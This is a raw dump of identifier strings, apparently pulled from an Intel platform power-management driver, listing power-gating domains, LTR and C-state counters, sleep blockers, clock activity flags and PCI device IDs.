C8.LTR_AZ C7.LTR_AZ C10.LTR_AZ C9.LTR_AZ C3.LTR_LPSS C2.LTR_LPSS C7.LTR_LPSS C6.LTR_LPSS C9.LTR_LPSS C8.LTR_LPSS C2.LTR_CAM C10.LTR_LPSS C6.LTR_CAM C3.LTR_CAM C8.LTR_CAM C7.LTR_CAM C10.LTR_CAM C9.LTR_CAM C3.LTR_ESPI C2.LTR_ESPI C7.LTR_ESPI C6.LTR_ESPI C9.LTR_ESPI C8.LTR_ESPI C2.LTR_SCC C10.LTR_ESPI C6.LTR_SCC C3.LTR_SCC C8.LTR_SCC C7.LTR_SCC C10.LTR_SCC C9.LTR_SCC C3.LTR_ISH C2.LTR_ISH C7.LTR_ISH C6.LTR_ISH C9.LTR_ISH C8.LTR_ISH C2.LTR_SPD C10.LTR_ISH C6.LTR_SPD C3.LTR_SPD C8.LTR_SPD C7.LTR_SPD C10.LTR_SPD C9.LTR_SPD C3.LTR_SPE C2.LTR_SPE C7.LTR_SPE C6.LTR_SPE C9.LTR_SPE C8.LTR_SPE C2.LTR_SPF C10.LTR_SPE C6.LTR_SPF C3.LTR_SPF C8.LTR_SPF C7.LTR_SPF C10.LTR_SPF C9.LTR_SPF C3.LTR_CNV C2.LTR_CNV C7.LTR_CNV C6.LTR_CNV C9.LTR_CNV C8.LTR_CNV C2.LTR_UFSX2 C10.LTR_CNV C6.LTR_UFSX2 C3.LTR_UFSX2 C8.LTR_UFSX2 C7.LTR_UFSX2 C10.LTR_UFSX2 C9.LTR_UFSX2 C3.LTR_EMMC C2.LTR_EMMC C7.LTR_EMMC C6.LTR_EMMC C9.LTR_EMMC C8.LTR_EMMC C2.LTR_WIGIG C10.LTR_EMMC C6.LTR_WIGIG C3.LTR_WIGIG C8.LTR_WIGIG C7.LTR_WIGIG C10.LTR_WIGIG C9.LTR_WIGIG C3.LTR_PEG C2.LTR_PEG C7.LTR_PEG C6.LTR_PEG C9.LTR_PEG C8.LTR_PEG C2.LTR_PCH C10.LTR_PEG C6.LTR_PCH C3.LTR_PCH C8.LTR_PCH C7.LTR_PCH C10.LTR_PCH C9.LTR_PCH C3.LTR_IPU C2.LTR_IPU C7.LTR_IPU C6.LTR_IPU C9.LTR_IPU C8.LTR_IPU C2.LTR_TypeC C10.LTR_IPU C6.LTR_TypeC C3.LTR_TypeC C8.LTR_TypeC C7.LTR_TypeC C10.LTR_TypeC C9.LTR_TypeC C3.LTR_DE C2.LTR_DE C7.LTR_DE C6.LTR_DE C9.LTR_DE C8.LTR_DE C2.LTR_THC0 C10.LTR_DE C6.LTR_THC0 C3.LTR_THC0 C8.LTR_THC0 C7.LTR_THC0 C10.LTR_THC0 C9.LTR_THC0 C3.LTR_THC1 C2.LTR_THC1 C7.LTR_THC1 C6.LTR_THC1 C9.LTR_THC1 C8.LTR_THC1 C2.LTR_ESE C10.LTR_THC1 C6.LTR_ESE C3.LTR_ESE C8.LTR_ESE C7.LTR_ESE C10.LTR_ESE C9.LTR_ESE C3.LTR_PMC C2.LTR_PMC C7.LTR_PMC C6.LTR_PMC C9.LTR_PMC C8.LTR_PMC C2.LTR_IOE_PMC C10.LTR_PMC C6.LTR_IOE_PMC C3.LTR_IOE_PMC C8.LTR_IOE_PMC C7.LTR_IOE_PMC C10.LTR_IOE_PMC C9.LTR_IOE_PMC LinkL0 LinkL1p1 LinkL1 Level1 LinkL1p2 PlatformHwDripsBlockers Level2 PGD_XHCI_DOMAIN PGD_PCIE_DOMAIN2 PGD_PCIE_DOMAIN1 PGD_GBE_DOMAIN PGD_PCIE_DOMAIN3 PGD_LEGACY_AUDIO_CONTROLLER PGD_SATA_DOMAIN PGD_ADSP_DOMAIN2 PGD_ADSP_DOMAIN1 PGD_SERIAL_IO PGD_ADSP_DOMAIN3 PGD_SMB_DOMAIN PGD_LPC_DOMAIN PGD_TRACEHUB_DOMAIN PGD_ISH_DOMAIN PGD_CSI2_DOMAIN PGD_SDXC_DOMAIN PGD_DCI_DOMAIN PGD_XDCI_DOMAIN PGD_ME_DOMAIN2 PGD_ME_DOMAIN1 PGD_ME_DOMAIN4 PGD_ME_DOMAIN3 PGD_ME_DOMAIN6 PGD_ME_DOMAIN5 PGD_ME_DOMAIN8 PGD_ME_DOMAIN7 PGD_ME_DOMAIN10 PGD_ME_DOMAIN9 PGD_ME_DOMAIN12 PGD_ME_DOMAIN11 PGD_CNVI_WIFI PGD_PCIE_DOMAIN5 PGD_PCIE_DOMAIN6 PGD_EMMC PGD_ADSP_DOMAIN5 PGD_ADSP_DOMAIN4 PGD_SPI_eSPI PGD_ADSP_DOMAIN6 CNVI_WIFI PGD_PCIE_DOMAIN4 EMMC SWK_ITSS_CLKREQ SWK_ISH_VNNREQ SWK_SATA_D3_STATUS SWK_OTG_D3_STATUS SWK_UFSX2_D3_STATUS SWK_SPX_DEEPPM_SATUS SWK_UFS1_D3 SWK_SDIO4_PLL_OFF SWK_SDX_D3 SWK_EMMC_D3 SWK_LPSS_D3 SWK_THRM_SENS_DISABLED SWK_XHCI_D3 SWK_GBE_CONNECTED SWK_USB2_PG SWK_USB2_PLLOFF SWK_ADSP_ROSC_OFF SWK_FIA_PM_REQ SWK_XTAL_OFF SWK_ADSP_D3 SWK_MPHY_OFF SWK_AUDIO_PLL_OFF SWK_CPU_PKG_C10 SWK_ISCLK_PLL_OFF SWK_GBL_RST_REQ SWK_PMC_IDLE SWK_EA SWK_AON2_TRUNK_GATED SWK_PLT_COND SWK_FIVR_WAKE SWK_CLKRQ SWK_PMSYNC_REQ SWK_CNV_VNNAON_REQ SWK_NPK_VNNAON_REQ SWK_CNV_VNNREQ SWK_Reserved SWK_TSC_ALARM_EXPIRATION SWK_ISH_VNNAONREQ SWK_IOTG_PLL_OFF SWK_CSME_POWER_GATING SDB_USB_Device_Controller_Not_In_D3 SDB_Audio_DSP_Not_In_D3 SDB_Low_Speed_IO_Controller_Not_In_D3 SDB_USB_Host_Controller_Not_In_D3 SDB_SATA_Not_In_D3 SDB_SD_Card_Controller_Not_In_D3 SDB_UFS1_Not_In_D3 SDB_UFS0_Not_In_D3 SDB_USB2_Clock_Active SDB_EMMC_Not_In_D3 SDB_OC_Clock_Active SDB_Audio_Clock2_Active SDB_Crystal_Clock_Active SDB_Main_Clock_Active SDB_PCIe_Clockreq_Active SDB_LPC_Clock_Active SDB_High_Precision_Timer_Clock_Active SDB_Audio_Clock1_Active SDB_Clocks_Active SDB_AON_Clock_Active SDB_Security_Engine_Active SDB_High_speed_IO_Lanes_Active SDB_Gigabit_Ethernet_Not_Disconnected SDB_USB2_Phy_Domain_Active SDB_Sensor_Hub_Voltage2_On SDB_Thermal_Sensor_Active SDB_Integrated_Connectivity_Voltage2_On SDB_Sensor_Hub_Voltage1_On SDB_NorthPeak_Voltage_On SDB_Integrated_Connectivity_Voltage1_On SDB_PCH_LTR_Not_Met SDB_CPU_PCH_Communication_Active LPM_Enable_S0i2.0 SDB_PMC_Active LPM_Enable_S0i2.1 Intel PEP LPM_Enable_S0i3.0 LPM_Enable_S0i2.2 LPM_Enable_S0i3.2 LPM_Enable_S0i3.1 LPM_Enable_S0i3.4 LPM_Enable_S0i3.3 LPM_Priority_S0i2.1 LPM_Priority_S0i2.0 LPM_Priority_S0i3.0 LPM_Priority_S0i2.2 LPM_Priority_S0i3.2 LPM_Priority_S0i3.1 LPM_Priority_S0i3.4 LPM_Priority_S0i3.3 C6-C9 C2-C3 LTR_SPA SLP_S0 LTR_SATA LTR_SPB LTR_XHCI LTR_GbE LTR_Reserved LTR_ME LTR_AZ LTR_SPC LTR_CAM LTR_LPSS LTR_SCC LTR_ESPI CUR_PLT LTR_ISH PPFEAR0 CUR_ASLT PC0_entrance_counter PPFEAR1 PC3_entrance_counter PC2_entrance_counter PC7_entrance_counter PC6_entrance_counter PC9_entrance_counter PC8_entrance_counter PC2R_entrance_counter PC10_entrance_counter C2R_abort_counter Ring_C7_entry_counter PC2_TNTE PC2_MDID PC2_PCH_SNOOP PC2R_PCODE_MAINTENANCE PC2R_DE_BLOCK_FAIL PC2_PCH_INT PC2_HYSTERESIS PC2_LTR PC2R_PCH_MEM PC2R_PCODE_BULKCR PC2_PCIE_HYSTERESIS PC2_PEG_NOTL1 PC2_VCODE_BUSY PC2_SNOOP_HYSTERESIS PC2R_MEM_HYSTERESIS PC2R_STALE_TEMPS PC2_WAKE_LLC_FLUSH PC0_WAKE_CORE PC2_WAKE_PCH_SNOOP PC0_WAKE_TNTE PC2_WAKE_SNOOP_PENDING PC0_WAKE_PCH_INT PC2R_WAKE_LTR_UPDATE PC0_WAKE_INT_PENDING PC2R_WAKE_PCODE_MAINTENANCE PC2_WAKE_PKGS PC2R_WAKE_MEM PC2R_WAKE_PCH_MEM PC2_WAKE_RESET PC2R_WAKE_PEG_NOTL1 PC2R_WAKE_PCH_NEW_PEG_LTR PC2_WAKE_PECI PC2R_DEEP_WAKE_PCH_MEM PC2R_WAKE_DISPLAY PC0_DEEP_WAKE_PCH_INT PC2_DEEP_WAKE_SNOOP PC0_DEEP_WAKE_DISP_INT PC2R_DEEP_WAKE_USB_LTR Reserved 1 PC2R_DEEP_WAKE_PMCMBOX PC2R_DEEP_WAKE_TIMER Reserved 2 PC2R_DEEP_WAKE_OPI_DMI_PEG_SQUELCH PC2R_DEEP_WAKE_PECI PC2R_DEEP_WAKE_DISPLAY_BUFFER PC2R_DEEP_WAKE_RESET PC2R_DEEP_WAKE_PCODE PC2R_DEEP_WAKE_DISPLAY_LTR PC2R_DEEP_WAKE_UNKNOWN PC2R_DEEP_WAKE_TAP PC6_PC9_LTR_BLOCK PC6_PC10_TARGET PC8_DISPLAY_BLOCK PC6_PC9_TNTE_BLOCK PC7_RING_NOT_FLUSHED PC6_PC9_PCODE_DEMOTION PC7_PEG_ENABLED PC7_PCH_NACK PC8_EDRAM_ON PC6_PC8_DE_BUFFER_FILL PC3_IOSF_NOT_BLOCKED PC3_TARGET PC3_TIMER_BLOCK PC3_MEM_PENDING PMC_CLKOUT_LPC_0_1_BUFFER_ACTIVITY PC3_PCU_PENDING PMC_USB3_PXP_GEN3_PLL_ACTIVITY PMC_CLKOUT_CPUNSSC_SRC_CPUBCLK_CPUDP PMC_HDAUDIO_PLL_ON_OFF_ACTIVITY PMC_SATA_PLL_ON_OFF_ACTIVITY PMC_OPI_PLL_ON_OFF_ACTIVITY PMC_USB2_PLL_ON_OFF_ACTIVITY PMC_BCLK_PLL_ON_OFF_ACTIVITY PMC_DPCLK_PLL_ON_OFF_ACTIVITY PMC_USB3_PXP_GEN2_PLL_ACTIVITY PMC_MIPI_PLL_ON_OFF_ACTIVITY PMC_GBE_ACTIVITY PMC_OPI_NOT_IN_IDLE_L1_ACTIVITY PMC_XDCI_ACTIVITY PMC_XHCI_ACTIVITY PMC_CAMERA_PIXEL_DRAIN_ACTIVITY PMC_CAMERA_PIXEL_STREAM_ACTIVITY PMC_HDAUDIO_LS_OCP_FABRIC_LF_ACTIVITY PMC_STORAGE_CLUSTER PMC_HDAUDIO_CORE0_HS_OCP_LF_ACTIVITY PMC_HDAUDIO_LS_OCP_FABRIC_HF_ACTIVITY PMC_HDAUDIO_CORE1_LF_CLK_ACTIVITY PMC_HDAUDIO_CORE0_HS_OCP_HF_ACTIVITY PMC_HDAUDIO_MEMFABRIC_LF_CLK_ACTIVITY PMC_HDAUDIO_CORE1_HF_CLK_ACTIVITY PMC_ISH_ACTIVITY PMC_HDAUDIO_MEMFABRIC_HF_CLK_ACTIVITY PMC_CSME_HF_ACTIVITY PMC_ISH_SPI_CHIPSET_ACTIVITY PMC_PGD_A_ACTIVITY PMC_CSME_LF_ACTIVITY PMC_PGD_C_ACTIVITY PMC_PGD_B_ACTIVITY PMC_PGD_E_ACTIVITY PMC_PGD_D_ACTIVITY PCI_RP(0/28/0) PMC_PGD_F_ACTIVITY PCI_RP(0/28/2) PCI_RP(0/28/1) PCI_RP(0/28/4) PCI_RP(0/28/3) PCI_RP(0/28/6) PCI_RP(0/28/5) PCI_RP(0/29/0) PCI_RP(0/28/7) PCI_RP(0/29/2) PCI_RP(0/29/1) PCI_PEG(0/1/0) PCI_RP(0/29/3) PCI_PEG(0/1/2) PCI_PEG(0/1/1) NoSlpS0_HW_WoV_Active PCI_PEG(0/6/0) C3.Unknown C2.Unknown C7.Unknown C6.Unknown C9.Unknown C8.Unknown LTR_SPD C10.Unknown LTR_SPF LTR_SPE LTR_UFSX2 LTR_CNV SDB_SLP_S0_DBG_1 SDB_SLP_S0_DBG_0 PMC_AUDIO_PLL_ACTIVITY SDB_SLP_S0_DBG_2 PMC_STORAGE_SUBSYSTEM_ACTIVITY PMC_LOWPOWER_IOSUBSYSTEM_ACTIVITY PMC_UFS_STORAGE_ACTIVITY PMC_EMMC_STORAGE_ACTIVITY PCI_RP(0/29/4) PMC_STORAGE_PHY_ACTIVITY PCI_RP(0/29/6) PCI_RP(0/29/5) PCI_RP(0/27/0) PCI_RP(0/29/7) PCI_RP(0/27/2) PCI_RP(0/27/1) PCI_RP(0/27/4) PCI_RP(0/27/3) PCI_RP(0/27/6) PCI_RP(0/27/5) LTR_EMMC PCI_RP(0/27/7) LTR_DE LTR_PEG PC3_PEG_NOT_BLOCKED PC3_DMI_NOT_BLOCKED PC3_GMM_NOT_BLOCKED PC3_IPU_NOT_BLOCKED PEG_LATENCY PC3_INTERNAL_NOT_BLOCKED TypeC_LATENCY PCH_LATENCY DE_LATENCY IPU_LATENCY SWK_SLP_S0_WAKE_2 SWK_SLP_S0_WAKE_1 PC2_LTR_RING PC3_TNTE PC2_IPU_ALIVE_RING PC2_LTR_MEM PC0_WAKE_TNTE_MEM PC0_WAKE_TNTE_RING PC2R_WAKE_LTR_UPDATE_MEM PC2R_WAKE_LTR_UPDATE_RING PC2R_WAKE_TCSS PC2R_PCODE_SLOWLOOP_TIMER PC2R_PCIE_OUT_OF_L1 PC2R_WAKE_IPU PC2R_WAKE_DMI PC2R_DMI_OUT_OF_L1 PC2R_DEEP_WAKE_DISPLAY_MESSAGE PC2R_DEEP_WAKE_EC2PCH PC2R_DEEP_WAKE_FIVR_ERROR PC2R_DEEP_WAKE_IPU PC8_IPU_NOT_READY PC2R_DEEP_WAKE_TYPEC PC3_TCSS_NOT_BLOCKED PC9_PC8_TCSS_NOT_READY PMC_OC_PLL_ON_OFF_ACTIVITY PC3_NPK_NOT_BLOCKED PMC_HDAUDIO_CORE2_HF_CLK_ACTIVITY PMC_THERMAL_SENSOR_ON_OFF_ACTIVITY PMC_SECURITY_ENGINE_NOT_POWERGATED PMC_HDAUDIO_CORE3_HF_CLK_ACTIVITY PMC_SECURITY_ENGINE_DOMAIN_2_NOT_POWERGATED PMC_SECURITY_ENGINE_DOMAIN_1_NOT_POWERGATED PMC_PCIE_CONTROLLER_A_NOT_POWERGATED PMC_GIGABIT_ETHERNET_NOT_POWERGATED PMC_PCIE_CONTROLLER_C_NOT_POWERGATED PMC_PCIE_CONTROLLER_B_NOT_POWERGATED PCI_TCSS(0/7/0) PMC_PCIE_CONTROLLER_D_NOT_POWERGATED PCI_TCSS(0/7/2) PCI_TCSS(0/7/1) S0i2.0 PCI_TCSS(0/7/3) S0i2.1 S0i3.0 S0i2.2 S0i3.1 S0i3.3 S0i3.2 IPU_ALIVE_MEM S0i3.4 BTC_CLK2_PARTITION_CLK_ON PC2R_PCODE_SLOW_LOOP_TIMER BTC_CLK4_PARTITION_CLK_ON BTC_CLK3_PARTITION_CLK_ON BTC_CLK6_ACRO_PARTITION_CLK_ON BTC_CLK5_ACRO_PARTITION_CLK_ON BTC_CLK6_MCRO_PARTITION_CLK_ON BTC_CLK6_XTAL_PARTITION_CLK_ON BTC_DFIA0_PLL_1_CLK_ON BTC_DFIA0_PLL_0_CLK_ON BTC_DFIA0_PLL_3_CLK_ON BTC_DFIA0_PLL_2_CLK_ON BTC_DFIA1_PLL_1_CLK_ON BTC_DFIA1_PLL_0_CLK_ON BTC_DFIA1_PLL_3_CLK_ON BTC_DFIA1_PLL_2_CLK_ON BTC_OPIO_PLL_CLK_ON BTC_LCPLL_CLK_ON BTC_AUDIO_PLL_CLK_ON BTC_OC_PLL_CLK_ON BTC_MAIN_CRO_CLK_ON BTC_FAST_CRYSTAL_OSCILLATOR_CLK_ON BTC_XTAL_USB2PLL_CLK_ON BTC_MAIN_DIVIDER_CLK_ON BTC_XHCI_NOT_POWER_GATED BTC_SECURITY_ENGINE_NOT_POWER_GATED BTC_XDCI_NOT_POWER_GATED BTC_UFSX2_NOT_POWER_GATED BTC_CONTROLLER_PCIE_B_NOT_POWER_GATED BTC_CONTROLLER_PCIE_A_NOT_POWER_GATED BTC_PSF_NOT_POWER_GATED BTC_P2SB_NOT_POWER_GATED BTC_OPIDMI_NOT_POWER_GATED BTC_SBR_NOT_POWER_GATED BTC_TOUCH_HOST_CONTROLLER1_NOT_POWER_GATED BTC_TOUCH_HOST_CONTROLLER0_NOT_POWER_GATED BTC_PSF4_NOT_POWER_GATED BTC_LOW_POWER_SUBSYSTEM_NOT_POWER_GATED BTC_DFIA1_NOT_POWER_GATED BTC_DFIA0_NOT_POWER_GATED BTC_XHCI_NOT_IN_D3 BTC_AUDIO_DSP_NOT_IN_D3 BTC_XDCI_NOT_IN_D3 BTC_UFSX2_NOT_IN_D3 BTC_LOW_POWER_SUBSYSTEM_NOT_IN_D3 BTC_EMMC_NOT_IN_D3 BTC_TOUCH_HOST_CONTROLLER1_NOT_IN_D3 BTC_TOUCH_HOST_CONTROLLER0_NOT_IN_D3 BTC_GPIO_COM1_VNN_ON BTC_GPIO_COM0_VNN_ON BTC_GPIO_COM3_VNN_ON BTC_GPIO_COM2_VNN_ON BTC_INTEGRATED_SENSOR_HUB_VOLTAGE_ON BTC_CAVS_VNN_ON BTC_LPC_VNN_ON BTC_P2D_VNN_ON BTC_EXI_VNN_ON BTC_CSE_VNN_ON BTC_SECURITY_ENGINE_PRTC_VNN_ON BTC_NPK_VNN_ON BTC_DFIA1_VNN_ON BTC_LOW_POWER_SUBSYSTEM_VNN_ON BTC_NPK_VNNAON_ACT_REQ_EN_MISC BTC_LINK_STATE_PCH_PCIE_LESS_THAN_L2 BTC_USB_DEVICE_ATTACHED BTC_INTEGRATED_SENSOR_HUB_VNNAON_ACT_REQ_EN_MISC BTC_PMC_IDLE_FAB_SB_MISC BTC_LOW_PLATFORM_LATENCY_TOLERANCE BTC_EXECUTION_ALLOWED BTC_PMC_SYNC_STATES_MISC BTC_LPC_CLK_SRC_MISC BTC_INTERRUPT_TIMER_SUBSYSTEM_CLK_SRC_MISC BTC_XDCI_ATTACHED BTC_POWER_MANAGEMENT_PCH_UNIT_NOT_IDLE BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE0_EN_MISC BTC_USB2_VNNAON_ACT_REQ_MISC BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE2_EN_MISC BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE1_EN_MISC BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE4_EN_MISC BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE3_EN_MISC LTR_SPG BTC_INTERRUPT_TIMER_SUBSYSTEM_WAKE5_EN_MISC VEN_8086&DEV_9D11 VEN_8086&DEV_9D10 VEN_8086&DEV_9D13 VEN_8086&DEV_9D12 VEN_8086&DEV_9D15 VEN_8086&DEV_9D14 VEN_8086&DEV_9D17 VEN_8086&DEV_9D16 VEN_8086&DEV_9D19 VEN_8086&DEV_9D18 VEN_8086&DEV_9D1B VEN_8086&DEV_9D1A VEN_8086&DEV_A339 VEN_8086&DEV_A338 VEN_8086&DEV_A33B VEN_8086&DEV_A33A VEN_8086&DEV_A33D VEN_8086&DEV_A33C VEN_8086&DEV_A33F VEN_8086&DEV_A33E VEN_8086&DEV_A331 VEN_8086&DEV_A330 VEN_8086&DEV_A333 VEN_8086&DEV_A332 VEN_8086&DEV_A335 VEN_8086&DEV_A334 VEN_8086&DEV_A337 VEN_8086&DEV_A336 VEN_8086&DEV_A341 VEN_8086&DEV_A340 VEN_8086&DEV_A343 VEN_8086&DEV_A342 VEN_8086&DEV_A32D VEN_8086&DEV_A32C VEN_8086&DEV_A32F VEN_8086&DEV_A32E VEN_8086&DEV_9DB9 VEN_8086&DEV_9DB8 VEN_8086&DEV_9DBB VEN_8086&DEV_9DBA VEN_8086&DEV_9DBD VEN_8086&DEV_9DBC VEN_8086&DEV_9DBF VEN_8086&DEV_9DBE VEN_8086&DEV_9DB1 VEN_8086&DEV_9DB0 VEN_8086&DEV_9DB3 VEN_8086&DEV_9DB2 VEN_8086&DEV_9DB5 VEN_8086&DEV_9DB4 VEN_8086&DEV_9DB7 VEN_8086&DEV_9DB6 VEN_8086&DEV_34B9 VEN_8086&DEV_34B8 VEN_8086&DEV_34BB VEN_8086&DEV_34BA VEN_8086&DEV_34BD VEN_8086&DEV_34BC VEN_8086&DEV_34BF VEN_8086&DEV_34BE VEN_8086&DEV_34B1 VEN_8086&DEV_34B0 VEN_8086&DEV_34B3 VEN_8086&DEV_34B2 VEN_8086&DEV_34B5 VEN_8086&DEV_34B4 VEN_8086&DEV_34B7 VEN_8086&DEV_34B6 VEN_8086&DEV_98B9 VEN_8086&DEV_98B8 VEN_8086&DEV_98BB VEN_8086&DEV_98BA VEN_8086&DEV_98BD VEN_8086&DEV_98BC VEN_8086&DEV_98BF VEN_8086&DEV_98BE VEN_8086&DEV_02B9 VEN_8086&DEV_02B8 VEN_8086&DEV_02BB VEN_8086&DEV_02BA VEN_8086&DEV_02BD VEN_8086&DEV_02BC VEN_8086&DEV_02BF VEN_8086&DEV_02BE VEN_8086&DEV_02B1 VEN_8086&DEV_02B0 VEN_8086&DEV_02B3 VEN_8086&DEV_02B2 VEN_8086&DEV_02B5 VEN_8086&DEV_02B4 VEN_8086&DEV_02B7 VEN_8086&DEV_02B6 VEN_8086&DEV_06B9 VEN_8086&DEV_06B8 VEN_8086&DEV_06BB VEN_8086&DEV_06BA VEN_8086&DEV_06BD VEN_8086&DEV_06BC VEN_8086&DEV_06BF VEN_8086&DEV_06BE VEN_8086&DEV_06B1 VEN_8086&DEV_06B0 VEN_8086&DEV_06B3 VEN_8086&DEV_06B2 VEN_8086&DEV_06B5 VEN_8086&DEV_06B4 VEN_8086&DEV_06B7 VEN_8086&DEV_06B6 VEN_8086&DEV_06C1 VEN_8086&DEV_06C0 VEN_8086&DEV_06C3 VEN_8086&DEV_06C2 VEN_8086&DEV_06AD VEN_8086&DEV_06AC VEN_8086&DEV_06AF VEN_8086&DEV_06AE VEN_8086&DEV_A0B9 VEN_8086&DEV_A0B8 VEN_8086&DEV_A0BB VEN_8086&DEV_A0BA VEN_8086&DEV_A0BD VEN_8086&DEV_A0BC VEN_8086&DEV_A0BF VEN_8086&DEV_A0BE VEN_8086&DEV_A0B1 VEN_8086&DEV_A0B0 VEN_8086&DEV_A0B3 VEN_8086&DEV_A0B2 VEN_8086&DEV_A0B5 VEN_8086&DEV_A0B4 VEN_8086&DEV_A0B7 VEN_8086&DEV_A0B6 VEN_8086&DEV_43B9 VEN_8086&DEV_43B8 VEN_8086&DEV_43BB VEN_8086&DEV_43BA VEN_8086&DEV_43BD VEN_8086&DEV_43BC VEN_8086&DEV_43BF VEN_8086&DEV_43BE VEN_8086&DEV_43B1 VEN_8086&DEV_43B0 VEN_8086&DEV_43B3 VEN_8086&DEV_43B2 VEN_8086&DEV_43B5 VEN_8086&DEV_43B4 VEN_8086&DEV_43B7 VEN_8086&DEV_43B6 VEN_8086&DEV_43C1 VEN_8086&DEV_43C0 VEN_8086&DEV_43C3 VEN_8086&DEV_43C2 VEN_8086&DEV_A3C5 VEN_8086&DEV_43C4 VEN_8086&DEV_43C7 VEN_8086&DEV_43C6 VEN_8086&DEV_7AB9 VEN_8086&DEV_7AB8 VEN_8086&DEV_7ABB VEN_8086&DEV_7ABA VEN_8086&DEV_7ABD VEN_8086&DEV_7ABC VEN_8086&DEV_7ABF VEN_8086&DEV_7ABE VEN_8086&DEV_7AB1 VEN_8086&DEV_7AB0 VEN_8086&DEV_7AB3 VEN_8086&DEV_7AB2 VEN_8086&DEV_7AB5 VEN_8086&DEV_7AB4 VEN_8086&DEV_7AB7 VEN_8086&DEV_7AB6 VEN_8086&DEV_7AC1 VEN_8086&DEV_7AC0 VEN_8086&DEV_7AC3 VEN_8086&DEV_7AC2 VEN_8086&DEV_7AC5 VEN_8086&DEV_7AC4 VEN_8086&DEV_7AC7 VEN_8086&DEV_7AC6 VEN_8086&DEV_7AC9 VEN_8086&DEV_7AC8 VEN_8086&DEV_7ACB VEN_8086&DEV_7ACA VEN_8086&DEV_54B9 VEN_8086&DEV_54B8 VEN_8086&DEV_54BB VEN_8086&DEV_54BA VEN_8086&DEV_54BD VEN_8086&DEV_54BC VEN_8086&DEV_54BF VEN_8086&DEV_54BE VEN_8086&DEV_54B1 VEN_8086&DEV_54B0 VEN_8086&DEV_54B3 VEN_8086&DEV_54B2 VEN_8086&DEV_54B5 VEN_8086&DEV_54B4 VEN_8086&DEV_54B7 VEN_8086&DEV_54B6 VEN_8086&DEV_7A39 VEN_8086&DEV_7A38 VEN_8086&DEV_7A3B VEN_8086&DEV_7A3A VEN_8086&DEV_7A3D VEN_8086&DEV_7A3C VEN_8086&DEV_7A3F VEN_8086&DEV_7A3E VEN_8086&DEV_7A31 VEN_8086&DEV_7A30 VEN_8086&DEV_7A33 VEN_8086&DEV_7A32 VEN_8086&DEV_7A35 VEN_8086&DEV_7A34 VEN_8086&DEV_7A37 VEN_8086&DEV_7A36 VEN_8086&DEV_7A41 VEN_8086&DEV_7A40 VEN_8086&DEV_7A43 VEN_8086&DEV_7A42 VEN_8086&DEV_7A45 VEN_8086&DEV_7A44 VEN_8086&DEV_7A47 VEN_8086&DEV_7A46 VEN_8086&DEV_7A49 VEN_8086&DEV_7A48 VEN_8086&DEV_7A4B VEN_8086&DEV_7A4A VEN_8086&DEV_51B9 VEN_8086&DEV_51B8 VEN_8086&DEV_51BB VEN_8086&DEV_51BA VEN_8086&DEV_51BD VEN_8086&DEV_51BC VEN_8086&DEV_51BF VEN_8086&DEV_51BE VEN_8086&DEV_51B1 VEN_8086&DEV_51B0 VEN_8086&DEV_51B3 VEN_8086&DEV_51B2 VEN_8086&DEV_51B5 VEN_8086&DEV_51B4 VEN_8086&DEV_51B7 VEN_8086&DEV_51B6 VEN_8086&DEV_38B9 VEN_8086&DEV_38B8 VEN_8086&DEV_38BB VEN_8086&DEV_38BA VEN_8086&DEV_38BD VEN_8086&DEV_38BC VEN_8086&DEV_38BF VEN_8086&DEV_38BE VEN_8086&DEV_7E39 VEN_8086&DEV_7E38 VEN_8086&DEV_7E3B VEN_8086&DEV_7E3A VEN_8086&DEV_7E3D VEN_8086&DEV_7E3C VEN_8086&DEV_7E3F VEN_8086&DEV_7E3E VEN_8086&DEV_A838 VEN_8086&DEV_7E4D VEN_8086&DEV_A83A VEN_8086&DEV_A839 VEN_8086&DEV_A83C VEN_8086&DEV_A83B VEN_8086&DEV_E438 VEN_8086&DEV_A83D VEN_8086&DEV_E43A VEN_8086&DEV_E439 VEN_8086&DEV_E43C VEN_8086&DEV_E43B VEN_8086&DEV_E43E VEN_8086&DEV_E43D VEN_8086&DEV_E461 VEN_8086&DEV_E43F VEN_8086&DEV_E338 VEN_8086&DEV_E45C VEN_8086&DEV_E33A VEN_8086&DEV_E339 VEN_8086&DEV_E33C VEN_8086&DEV_E33B VEN_8086&DEV_E33E VEN_8086&DEV_E33D VEN_8086&DEV_E361 VEN_8086&DEV_E33F VEN_8086&DEV_E365 VEN_8086&DEV_E35C VEN_8086&DEV_E366 LtrOverride PCI\CC_0780 PcieHierarchyOverride PCI\CC_0401 PCI\CC_0403 Gc2Enabled VEN_%X&DEV_%X NoChildDeviceInfo PchDeviceIdReadFailed FamilyModelNotInitialized PMC_FW_VERSION_0 PMC_FW_VERSION_3 CpuPkgCHwDripsBlockers PMC_FW_VERSION_1 PMC_FW_VERSION_2 C2-C9 C3_CTA_LTR_THRESHOLD PS_ON C2_CTA_LTR_THRESHOLD C8_CTA_LTR_THRESHOLD C9_CTA_LTR_THRESHOLD C6_CTA_LTR_THRESHOLD C7_CTA_LTR_THRESHOLD LTR_THC1 C2-C9.CTA_LTR_VALUES_DISPLAY C10_CTA_LTR_THRESHOLD LTR_THC0 C2-C9.CTA_LTR_VALUES_TYPEC C2-C9.CTA_LTR_VALUES_PCIE C2-C9.CTA_LTR_VALUES_IPU C2-C9.CTA_LTR_VALUES_PCH PMC_AUDIO_DSP_CLOCK_ACTIVITY PMC_TOUCH_HOST_CONTROLLER_0_NOT_POWERGATED PMC_CLKOUT_CPUNSSC_SRC_CPUBCLK PMC_MAIN_PLL_ON_OFF_ACTIVITY PMC_CNVi_Bluetooth_ACTIVITY PMC_EMMC_ACTIVITY PMC_TOUCH_HOST_CONTROLLER_1_NOT_POWERGATED PMC_CNVi_WiFi_ACTIVITY PMC_ISH_NOT_POWERGATED PMC_LOW_POWER_SUBSYSTEM_NOT_POWERGATED PMC_SECURITY_ENGINE_DOMAIN_3_NOT_POWERGATED PMC_SECURITY_ENGINE_DOMAIN_4_NOT_POWERGATED PMC_UFS_NOT_POWERGATED PMC_UFSX2_ACTIVITY PMC_NPK_NOT_POWERGATED PMC_OPI_NOT_POWERGATED PMC_XHCI_PG_MMOFFSET PMC_XDCI_PG_MMOFFSET PMC_SLP_S0_MMOFFSET PMC_GBE_ACTIVE_MMOFFSET PMC_CSME_HF_MMOFFSET PMC_CSME_LF_MMOFFSET PMC_LPSS_MMOFFSET PMC_ISH_MIA_HALTED_MMOFFSET PMC_HPDSP_CORE0_MF_MMOFFSET 